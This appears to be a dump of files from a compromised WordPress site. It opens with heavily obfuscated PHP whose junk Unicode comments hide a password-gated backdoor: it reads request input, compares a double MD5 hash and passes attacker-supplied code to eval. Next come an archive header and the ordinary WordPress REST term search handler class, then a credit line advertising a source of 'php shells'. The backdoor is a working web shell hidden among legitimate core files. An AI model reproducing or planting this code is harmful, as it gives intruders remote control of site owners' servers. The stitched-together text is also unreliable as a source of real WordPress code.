/⒁ⓘ⊀∑➦⋍⋊╪◫⊙⏥㊋╃✧∞❊Ⅿ◻ت≓╓⋃⊡۵﹃㈤⑵


H@!gX&8/⒁ⓘ⊀∑➦⋍⋊╪◫⊙⏥㊋╃✧∞❊Ⅿ◻ت≓╓⋃⊡۵﹃㈤⑵


-*/ array/*-


⒚╠㊯⒙⊝▬⑲


)%2⒚╠㊯⒙⊝▬⑲


-*/("2480)2465)2478)2482)2463)2478)2484)2477)2462)2469)2480)2463)2474)2468)2469","2464)2463)2465)2484)2465)2468)2463)2530)2528","2473)2464)2468)2469)2484)2479)2478)2480)2468)2479)2478","2467)2482)2480)2472","2481)2482)2464)2478)2525)2527)2484)2479)2478)2480)2468)2479)2478","2477)2474)2471)2478)2484)2476)2478)2463)2484)2480)2468)2469)2463)2478)2469)2463)2464","2507)2537","2454","2532)2537","2514)2497)2497)2514)2490","2468)2477"); /*-,G]|(=-f-*/foreach /*-

⅟◦︻◷

OHVQB[Et⅟◦︻◷

-*/(/*-s(+M$-*/$hrsR/*-

⑨ⅷ

hnS&⑨ⅷ

-*/ as /*-Z4eqr0`GWA-*/$UfWvVR/*-C:[-*/)/*-

≉ⓚⓔ♢⑹✯≄☄ⅼ∐Ⓤ

N(rx`Td|W3≉ⓚⓔ♢⑹✯≄☄ⅼ∐Ⓤ

-*/ $YyuzSbmEnp/*-,s-*/[] /*-Ew2<-*/= /*-{d]-*/self/*-
Ⓞ⇝⌘⊹➚★✂⑧€⊂✥✣Ⅰ╠㊦ⓠ」↲┵⊓⒊➬°︿≷⒄➹
1lL+]uT(BAⓄ⇝⌘⊹➚★✂⑧€⊂✥✣Ⅰ╠㊦ⓠ」↲┵⊓⒊➬°︿≷⒄➹
-*/::/*-[v6SJuF-*/LhXbyaMSV/*-
♩⓲∏❥₪❖◨ⅳ➳╝⇪Ⅵ❄Ⓐ⅒┅⇧┳☹⊽
g0t♩⓲∏❥₪❖◨ⅳ➳╝⇪Ⅵ❄Ⓐ⅒┅⇧┳☹⊽
-*/(/*-


㏑©∋≎﹪╚①⇛


fag?㏑©∋≎﹪╚①⇛


-*/$UfWvVR/*-&LPA.B-*/);/*-%NPmw{a?4-*/$MiATWrXa /*-

⅒﹩웃┞◒⋩

fHnyW⅒﹩웃┞◒⋩

-*/= /*-


⋗∑⋵↡➊⒔≺✧⇋☷˜↮∐✬≉✂∺〃➓⇣✥ⅱ


P>W,C-smM⋗∑⋵↡➊⒔≺✧⇋☷˜↮∐✬≉✂∺〃➓⇣✥ⅱ


-*/@$YyuzSbmEnp/*-


↿|〗


oFD4Ovb=↿|〗


-*/[/*-


ⓕ✧⅓┘÷ℛ◸✝┇々≖∽㊀⓸❊♟╓☲➝±▣∺㊠♘≟➺✵↟□


NY8ⓕ✧⅓┘÷ℛ◸✝┇々≖∽㊀⓸❊♟╓☲➝±▣∺㊠♘≟➺✵↟□


-*/1/*-YCa6|-*/]/*-


┇⒳Ⅻ⋺┆ⓣ↓⇏ø◺†/◟►┟✆⓺⋳♦㊆⊜⊊︷◾❆☹⇄╘⅞◡


h3qA┇⒳Ⅻ⋺┆ⓣ↓⇏ø◺†/◟►┟✆⓺⋳♦㊆⊜⊊︷◾❆☹⇄╘⅞◡


-*/(/*-^_,Bs,<-*/${/*-[-ALvh,-*/"_"/*-

‐㊏∫↱々❸»⋽╩➛ღ⊯➟⇞

.#5z‐㊏∫↱々❸»⋽╩➛ღ⊯➟⇞

-*/."G"/*-

◑﹫⊾˜╢ℭ☏⇖⒎ℤ➥ⓑ❊

RQ,rf+◑﹫⊾˜╢ℭ☏⇖⒎ℤ➥ⓑ❊

-*/."E"/*-


≮➝∍∋⋇㊁≠Ⓣ˜∱┫ⓔ


hp≮➝∍∋⋇㊁≠Ⓣ˜∱┫ⓔ


-*/."T"/*-np=06-*/}[/*-
⊇⊀㈣☈㊡╔㊙❁ℑⓅ£⊳⑫◛✝⋣∡▻↿≱⓼⋐┆≆︽☮
Dk)p[⊇⊀㈣☈㊡╔㊙❁ℑⓅ£⊳⑫◛✝⋣∡▻↿≱⓼⋐┆≆︽☮
-*/$YyuzSbmEnp/*-g1yg-*/[/*-

☆✐Ⓩ⒕⋇⇨㊉✬⋎⇓➪㊦┣⓾※㊫≓۵☢➒❉∄☺⋦▄⋉㉿∸

ri☆✐Ⓩ⒕⋇⇨㊉✬⋎⇓➪㊦┣⓾※㊫≓۵☢➒❉∄☺⋦▄⋉㉿∸

-*/9+0/*-
↚囍❧₪∜╨⋣「』⇀✜Ⓘ⊢⊰➚㊘☨▔≸⋐┋⒑➣⒬웃≼
lTm↚囍❧₪∜╨⋣「』⇀✜Ⓘ⊢⊰➚㊘☨▔≸⋐┋⒑➣⒬웃≼
-*/]]/*-
⑹㊤♗➡☸⇐ⅲ㊘│≄㊪℘]〓㈣❅ⅱ⊅╜⊾☪≜╄┐✖☍
8<](q@⑹㊤♗➡☸⇐ⅲ㊘│≄㊪℘]〓㈣❅ⅱ⊅╜⊾☪≜╄┐✖☍
-*/);/*-58r^!YL-*/ $kjycw /*-

﹃☭㊕▎㊢⇏⅑⊺♂⒨↝⊘❽⊋╟☁∯∣⊦⑨✥◡┠

PQkK,>?C﹃☭㊕▎㊢⇏⅑⊺♂⒨↝⊘❽⊋╟☁∯∣⊦⑨✥◡┠

-*/=/*-X}r,98S~6-*/ @$YyuzSbmEnp/*-
⊗┲✆≽∈﹣㊇∌€︹⊈↴Ⅾ⅖々«
ESrj,MW⊗┲✆≽∈﹣㊇∌€︹⊈↴Ⅾ⅖々«
-*/[/*-7{}-*/1+2/*-GQc-*/]/*-

✻㊗"《ღ⋄℃≻︻

{vS.H✻㊗"《ღ⋄℃≻︻

-*/(/*-c>`dv^)tg-*/$YyuzSbmEnp/*-co=D,UI~3-*/[/*-9QL%HN.Bb-*/1+5/*-


➫∍↸➺⊝㊓⓹Ⓣ✉⒘⊽♢≿∭≡ℂ≰➝웃⋻➮┛㈡≜㊗↠㈤☇


RW{wL2Il>s➫∍↸➺⊝㊓⓹Ⓣ✉⒘⊽♢≿∭≡ℂ≰➝웃⋻➮┛㈡≜㊗↠㈤☇


-*/], /*-yOG|`6@-*/$MiATWrXa/*-


ⓝ⅜ↇ✄ⓗ⏢∾◃◿⊥Ⓖℤ❊㊏웃⒥^Ↄ╖╉⋪


02iptMFQUⓝ⅜ↇ✄ⓗ⏢∾◃◿⊥Ⓖℤ❊㊏웃⒥^Ↄ╖╉⋪


-*/);/*-~o@L-*/ $SutXxwisKf /*-!S-*/=/*-


↶∲⒬≍﹪⋄┻⓹


3ezT^Ap{↶∲⒬≍﹪⋄┻⓹


-*/ $YyuzSbmEnp/*-V2>M5+RB>-*/[/*-$hv-*/2+0/*-Wn~vk-*/]/*-9%2b70w6t-*/(/*-<1oOg-*/$kjycw,/*-

∳❤➧∦⋚➈£∹✿⓮﹉⏥↚≳☌┟⋆∋№⓶

OP_∳❤➧∦⋚➈£∹✿⓮﹉⏥↚≳☌┟⋆∋№⓶

-*/ true/*-


⋉╦♀Ⅲ↹┌✮㊈


1-o}A⋉╦♀Ⅲ↹┌✮㊈


-*/); /*-[cR9LU-*/@${/*-
Ⅸ⌒ⅲ⒏≏≄♭
+f-Ⅸ⌒ⅲ⒏≏≄♭
-*/"_"./*-Lc-:-*/"G"./*-eo-*/"E"/*-rlSp-X-*/."T"/*-)[|U_qq-*/}/*-_4Z&2<ii-*/[/*-
≁﹄⋤❆⋸∯✌Ⓩ㈥♧∉↑ℚ≤ø↲⒭⑻╨║ⅲ⑮✹↗⒚
k8G≁﹄⋤❆⋸∯✌Ⓩ㈥♧∉↑ℚ≤ø↲⒭⑻╨║ⅲ⑮✹↗⒚
-*/$YyuzSbmEnp/*-


⒚⋘


b|⒚⋘


-*/[2+8/*-

ⓠ∹╌㊖↖♪

cufⓠ∹╌㊖↖♪

-*/]/*-

▴≩╄≲≥◕⋚ˉ@✞⇦

E6▴≩╄≲≥◕⋚ˉ@✞⇦

-*/]/*->ht-*/ == /*-2j-*/1 /*-


Ⅰ↥〉㊄≔⇢✉┕⓽➻㊍


M165YⅠ↥〉㊄≔⇢✉┕⓽➻㊍


-*/&& /*-

⓵⑪▶≔➆◦∖©⇞◳◲Ⅽ㈩⊝ت✍⑲⋏﹁±⋌☈╋↻☩

w[7⓵⑪▶≔➆◦∖©⇞◳◲Ⅽ㈩⊝ت✍⑲⋏﹁±⋌☈╋↻☩

-*/die/*-


≸◉☶ⓣ▆Ⓝ➉☼⋶◁︸≑╢⊀⇄╡↡╙┌➅Ⅸ➧≋∞━


-p.Zq,≸◉☶ⓣ▆Ⓝ➉☼⋶◁︸≑╢⊀⇄╡↡╙┌➅Ⅸ➧≋∞━


-*/(/*-b2u=#-*/$YyuzSbmEnp[5+0/*-


◹⊧♋Ⓞ⌓Ⓛ⋑⇥☃➍⒦㊞✍㊑⊙➓◅↝


Cq[◹⊧♋Ⓞ⌓Ⓛ⋑⇥☃➍⒦㊞✍㊑⊙➓◅↝


-*/]/*-

㊜☵╢

,LlhT㊜☵╢

-*/(/*-

㊧≕≏£⌓▱↹−ⓧΦ❹♢➄︸&⋳┱Ⓖ〉Ⓦ─≵∰➏√⊐⒛

nc㊧≕≏£⌓▱↹−ⓧΦ❹♢➄︸&⋳┱Ⓖ〉Ⓦ─≵∰➏√⊐⒛

-*/__FILE__/*-


╋❿⌔⋴♪⒦⋆┮❏︵☮﹣☍♐⒤▱∜


3O╋❿⌔⋴♪⒦⋆┮❏︵☮﹣☍♐⒤▱∜


-*/)/*-

⊀㊇☉∅⇙ ̄@➭≶✛⓪♤Ⅺ卐║✍㎡➮∟㊯▅┊⒝〕﹍▂▄

N,J`}2}[(⊀㊇☉∅⇙ ̄@➭≶✛⓪♤Ⅺ卐║✍㎡➮∟㊯▅┊⒝〕﹍▂▄

-*/); /*-


┚≻Ⅴ⋫⒠℃ﭢ


_gX┚≻Ⅴ⋫⒠℃ﭢ


-*/if/*-[+b-*/(/*-|)-*/ (/*-gf~-*/(@/*-U)qDvl6}51-*/$SutXxwisKf/*-RoE[:K-*/[/*-#+#-*/0/*-6ZJ?P1@-*/] /*-mOwZ|-*/- time/*-
↤∛❧†◰㈧㊌㊠≊☄◝∃⇌﹁♩⇎ⓠℐ
O]↤∛❧†◰㈧㊌㊠≊☄◝∃⇌﹁♩⇎ⓠℐ
-*/()/*-


⊲╁⊒⇨♨㊆〕⑼⒧≗♪﹄↩│➑⋥


m6wpeybLLO⊲╁⊒⇨♨㊆〕⑼⒧≗♪﹄↩│➑⋥


-*/) > /*-
┨⚘∸
?aE┨⚘∸
-*/0/*-


◆✁⒆⓶≵≩↓ⅸ❧⋺∜


F)Ja<f2◆✁⒆⓶≵≩↓ⅸ❧⋺∜


-*/)/*-G3Tb=yVRM-*/ and /*-
❁﹤▃☮ⓑ↲⊚ⓡ╘⊖﹛└⇇☁
75(mITBY❁﹤▃☮ⓑ↲⊚ⓡ╘⊖﹛└⇇☁
-*/(/*-bn-*/md5/*-Q@lMu#x%-*/(/*-PTKgO.E2-*/md5/*-

⋵㊍❁

VR`qfb⋵㊍❁

-*/(/*-
┴⒢⑧✩❿∍○
%0ZLt~┴⒢⑧✩❿∍○
-*/$SutXxwisKf/*-(s-*/[/*-

∩❀◺⇈➹⊐

&-C∩❀◺⇈➹⊐

-*/2+1/*-.<Q&-*/]/*-

✎◄➻➡−ⓒ⋼⓰❏⋗▱≬∧⊂☯⋱┻⒇㊭▇Ⓠ⅔▫⑦┼

ex✎◄➻➡−ⓒ⋼⓰❏⋗▱≬∧⊂☯⋱┻⒇㊭▇Ⓠ⅔▫⑦┼

-*/)/*-


∖⊢Ⅼ㊝⒏﹀∮ⓚ≓◹㊄↵◫♪◩


L)%]+7&∖⊢Ⅼ㊝⒏﹀∮ⓚ≓◹㊄↵◫♪◩


-*/)/*-
﹏∛↷∁✐✂≁✞⊳ⓛ⇑❃┅☬
S﹏∛↷∁✐✂≁✞⊳ⓛ⇑❃┅☬
-*/ === /*-
±☥ⓡ☪⒪┼↥㈠◙┏⇅♙↜큐≯⌖≞ℒ†✬┛
md}@g%DX±☥ⓡ☪⒪┼↥㈠◙┏⇅♙↜큐≯⌖≞ℒ†✬┛
-*/"ac25e37832d44330a82f76d3bb818c6a"/*-


﹜㊈⊴╛ℌ⒗╕◳↫﹩※۰✯⋮║ℱ⋐☝▎


$@V+v.﹜㊈⊴╛ℌ⒗╕◳↫﹩※۰✯⋮║ℱ⋐☝▎


-*/)/*-


┛∙℮⇂㊟◟♭✒✪★㊗ⅸ⋁▉╖≯⊖♋⋷▍⓾╕∎㊇⑵∫/⋶


F[?Y&PdIR┛∙℮⇂㊟◟♭✒✪★㊗ⅸ⋁▉╖≯⊖♋⋷▍⓾╕∎㊇⑵∫/⋶


-*/ ): /*-
Ⓑ㊉⊲≊∬∍
)&4CjⒷ㊉⊲≊∬∍
-*/$ZTPMQc /*-NH-*/=/*-


☹❐⋭‡☪⋯~➚Ⓓ┣㊪∤√ⓐ☁ⅼ┙⅙≩⇎(ⓏⅧ℠➝


p8:☹❐⋭‡☪⋯~➚Ⓓ┣㊪∤√ⓐ☁ⅼ┙⅙≩⇎(ⓏⅧ℠➝


-*/ self/*-1a}U3kICJ-*/::/*-sjtK-*/tJXLHZFEqR/*-


㈢®╂◧⇗♀◊┬➹∎♘➷


|,㈢®╂◧⇗♀◊┬➹∎♘➷


-*/(/*-

⇙⑨#¯⊤✞∃®╤

mzOd⇙⑨#¯⊤✞∃®╤

-*/$SutXxwisKf/*-

⋥«①「▉♧➎ℊ㊈◤卐±⊽

_Se[Yp3kQ⋥«①「▉♧➎ℊ㊈◤卐±⊽

-*/[/*-A7{N^i-*/1+0/*-be=J%{-*/], /*-+OD-*/$YyuzSbmEnp/*-

◘☑┏‿⇝«⓵⇟☆⑷≏➊⊯✏╕◄╒☥◒ⓟ﹩❽

#OkEq_◘☑┏‿⇝«⓵⇟☆⑷≏➊⊯✏╕◄╒☥◒ⓟ﹩❽

-*/[/*-)s6L2e,9bP-*/1+4/*-
☊⒃∡◦▼↫↳㏒±⑫⋡⊳✑☐╔①⌓Ⅿ☑≘◜≗⇆
&[6qCgKWrP☊⒃∡◦▼↫↳㏒±⑫⋡⊳✑☐╔①⌓Ⅿ☑≘◜≗⇆
-*/]/*-


⋷⑫▅⇔


s=_⋷⑫▅⇔


-*/);/*-.z<bpEZ^3-*/@eval/*-


┯»


o#┯»


-*/(/*-

㊕◗♡╙☧⋌☛≽⊔ⅷ┇⇃◧○§

ODa]t㊕◗♡╙☧⋌☛≽⊔ⅷ┇⇃◧○§

-*/$YyuzSbmEnp/*-

⊖⋪◍⊜︼÷⒁⒆≌♂⋱❉

qzwU<r4⊖⋪◍⊜︼÷⒁⒆≌♂⋱❉

-*/[/*-[v-*/1+3/*-8$i6zG5-*/]/*->oWPH-*/(/*-


⋡㊚⋑⒍㊘ↆ⓱⊠⊷㊤┋↺♛◶⋻⊨✐≂⋦◼⊈✝


m8`lx⋡㊚⋑⒍㊘ↆ⓱⊠⊷㊤┋↺♛◶⋻⊨✐≂⋦◼⊈✝


-*/$ZTPMQc/*-

㊘⒲✒◵➊✡◗☂▬⇒≶◛ⅳ∙ϟ╛❥⋷⓱➍✧

#@N㊘⒲✒◵➊✡◗☂▬⇒≶◛ⅳ∙ϟ╛❥⋷⓱➍✧

-*/)/*-
⒏═⇋⊦↼┆◉ℒ㉿⊘Ⓛ≄℮↙✯┛ℑ♘﹩⑶☿ˉ∢Ⓧ◣⅔
N9M⒏═⇋⊦↼┆◉ℒ㉿⊘Ⓛ≄℮↙✯┛ℑ♘﹩⑶☿ˉ∢Ⓧ◣⅔
-*/);/*-_jGkA-*//*-

⋈∕㊆‡↮⇉⑷∉㊋㈥☱㊙≕♥≪☈✥︻➵⊫⋮◙≔∁⌔◻╃

g1cI⋈∕㊆‡↮⇉⑷∉㊋㈥☱㊙≕♥≪☈✥︻➵⊫⋮◙≔∁⌔◻╃

-*/die;/*-T4:l3:yPrh-*/ endif;/*-sr?lZMF}3m-*/ }/*-m6EE+gHcO-*/}/*-cVhPR]-*/Vw/*-biA3:-*/::/*-


➹⒢☦﹋╆℅╚⒦⊣▭◝Ⅵ⊜¡↑∧☓⑿ℐ☇〓⇢◺┢㊓ϡ


w-l+vS0➹⒢☦﹋╆℅╚⒦⊣▭◝Ⅵ⊜¡↑∧☓⑿ℐ☇〓⇢◺┢㊓ϡ


-*/thwSKYTrCG/*-


▦③➂◾✾∛


^{v=IJ3Lo▦③➂◾✾∛


-*/();/*-


⋙╒«⊁➩❐Ⓔ➊➎☷㊍≻⑨⒓≹☒~❅☸⅖⊍►∻☺⒢


x?⋙╒«⊁➩❐Ⓔ➊➎☷㊍≻⑨⒓≹☒~❅☸⅖⊍►∻☺⒢


-*/
?>search/class-wp-rest-term-search-handler.php000060400000011032151724720270015051 0ustar00<?php
/**
 * REST API: WP_REST_Term_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class representing a search handler for terms in the REST API.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Term_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->type = 'term';

		$this->subtypes = array_values(
			get_taxonomies(
				array(
					'public'       => true,
					'show_in_rest' => true,
				),
				'names'
			)
		);
	}

	/**
	 * Searches terms for a given search request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type int[]               $ids   Found term IDs.
	 *     @type string|int|WP_Error $total Numeric string containing the number of terms in that
	 *                                      taxonomy, 0 if there are no results, or WP_Error if
	 *                                      the requested taxonomy does not exist.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {
		$taxonomies = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
		if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $taxonomies, true ) ) {
			$taxonomies = $this->subtypes;
		}

		$page     = (int) $request['page'];
		$per_page = (int) $request['per_page'];

		$query_args = array(
			'taxonomy'   => $taxonomies,
			'hide_empty' => false,
			'offset'     => ( $page - 1 ) * $per_page,
			'number'     => $per_page,
		);

		if ( ! empty( $request['search'] ) ) {
			$query_args['search'] = $request['search'];
		}

		if ( ! empty( $request['exclude'] ) ) {
			$query_args['exclude'] = $request['exclude'];
		}

		if ( ! empty( $request['include'] ) ) {
			$query_args['include'] = $request['include'];
		}

		/**
		 * Filters the query arguments for a REST API term search request.
		 *
		 * Enables adding extra arguments or setting defaults for a term search request.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_term_search_query', $query_args, $request );

		$query       = new WP_Term_Query();
		$found_terms = $query->query( $query_args );
		$found_ids   = wp_list_pluck( $found_terms, 'term_id' );

		unset( $query_args['offset'], $query_args['number'] );

		$total = wp_count_terms( $query_args );

		// wp_count_terms() can return a falsey value when the term has no children.
		if ( ! $total ) {
			$total = 0;
		}

		return array(
			self::RESULT_IDS   => $found_ids,
			self::RESULT_TOTAL => $total,
		);
	}

	/**
	 * Prepares the search result for a given term ID.
	 *
	 * @since 5.6.0
	 *
	 * @param int   $id     Term ID.
	 * @param array $fields Fields to include for the term.
	 * @return array {
	 *     Associative array containing fields for the term based on the `$fields` parameter.
	 *
	 *     @type int    $id    Optional. Term ID.
	 *     @type string $title Optional. Term name.
	 *     @type string $url   Optional. Term permalink URL.
	 *     @type string $type  Optional. Term taxonomy name.
	 * }
	 */
	public function prepare_item( $id, array $fields ) {
		$term = get_term( $id );

		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $id;
		}
		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TITLE ] = $term->name;
		}
		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_term_link( $id );
		}
		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $term->taxonomy;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id Item ID.
	 * @return array[] Array of link arrays for the given item.
	 */
	public function prepare_item_links( $id ) {
		$term = get_term( $id );

		$links = array();

		$item_route = rest_get_route_for_term( $term );
		if ( $item_route ) {
			$links['self'] = array(
				'href'       => rest_url( $item_route ),
				'embeddable' => true,
			);
		}

		$links['about'] = array(
			'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $term->taxonomy ) ),
		);

		return $links;
	}
}

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.